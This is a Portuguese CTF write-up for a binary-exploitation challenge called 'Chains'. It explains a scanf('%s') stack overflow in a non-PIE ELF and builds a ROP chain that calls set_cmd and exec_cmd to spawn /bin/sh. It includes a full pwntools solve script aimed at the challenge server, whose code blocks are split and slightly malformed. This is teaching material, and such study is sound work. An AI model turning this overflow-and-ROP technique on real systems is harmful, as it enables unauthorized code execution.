



Write-up: Chains

por *dleskow*

Informações do chall

- **Título:** Ping/Chains
- **Autor:** Ganesh Ancestrais
- **Contexto:** Estava tão simples, mas eles quebraram o terminal ao meio!
O que faremos agora!?
- **Arquivos:**
 - *Chains* (ELF)

1. Write-Up

1.1. Vulnerabilidade

Começamos vendo o checksec do executável e abrindo-o no IDA:

```
pwndbg> checksec
File:      /home/ganesh/Ping/Chains/chains
Arch:      amd64
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
Stripped:  No
```

Note que o PIE está desligado.

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
    _BYTE v4[16]; // [rsp+0h] [rbp-10h] BYREF

    setvbuf(_bss_start, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    printf("> ");
    __isoc23_scanf("%s", v4);
    puts("Byebye\n");
    return 0;
}
```

Primeira coisa que podemos notar é o `scanf(%s)`, ou seja, sem limitar o limite máximo de caracteres. Imediatamente, portanto, imagina-se buffer overflow.

Agora vejamos as funções que possuímos, para ver se existe algo conveniente. Acharmos duas funções:

- **exec_cmd:**

```
int exec_cmd()
{
    char *argv; // [rsp+8h] [rbp-8h] BYREF

    argv = 0;
    return execve(cmd, &argv, 0);
}
```

Que, basicamente, executa a string `cmd` como uma função no terminal. Veja que `cmd` é uma variável global, pois só as variáveis globais possuem seus nomes guardados no ELF; basta clicar nela para ver sua posição na memória.



- **set_cmd:**

```
__int64 set_cmd()
{
    __int64 result; // rax

    result = 0x68732F6E69622FLL;
    strcpy(cmd, "/bin/sh");
    return result;
}
```

Que coloca a string `/bin/sh` na variável `cmd`.

Temos, portanto, o seguinte plano de ação:

- Buffer Overflow;
- Chamar `set_cmd()`;
- Chamar `exec_cmd()`.

Ataque utilizando *pwntools*

Para obter seus endereços, e abusando do PIE desligado, podemos simplesmente utilizar a função interna à classe ELF (do *pwntools*) `.sym`, que busca um símbolo (nome de variável, de função etc) e nos retorna seu offset.

O ataque será assim, portanto. Primeiro obtemos os endereços:

```
exe = ELF("./chains")
p = process([exe.path])
addr1 = exe.sym['set_cmd']
addr2 = exe.sym['exec_cmd']
```

Então, fazemos o ROP com o buffer overflow

```
payload = b''
payload += 0x18 * b'a' # Tamanho do buffer+8 (sobrescrever rbp antigo)
payload += p64(addr1)
payload += p64(addr2)
addr2 = exe.sym['exec_cmd']
```

Basta, agora, enviar tudo e esperar a shell =D

```
p.sendline(payload)
```

2. solve.py

```
from pwn import *

exe = ELF("./chains")

REMOTE = False
REMOTE = True

print(exe.path)

if REMOTE:
    context.bits = 64
```



```
p = remote('ganesh.icmc.usp.br', 1114)
# p = remote('localhost', 1114)
else:
    context.binary = exe
    p = process([exe.path])
    gdb.attach(p, exe=exe.path, gdbscript="continue")

# context.log_level = 'debug'

addr1 = exe.sym['set_cmd']
addr2 = exe.sym['exec_cmd']

payload = 0x18 * b'd'
payload += p64(addr1)
payload += p64(addr2)
p.sendline(payload)

p.interactive()
```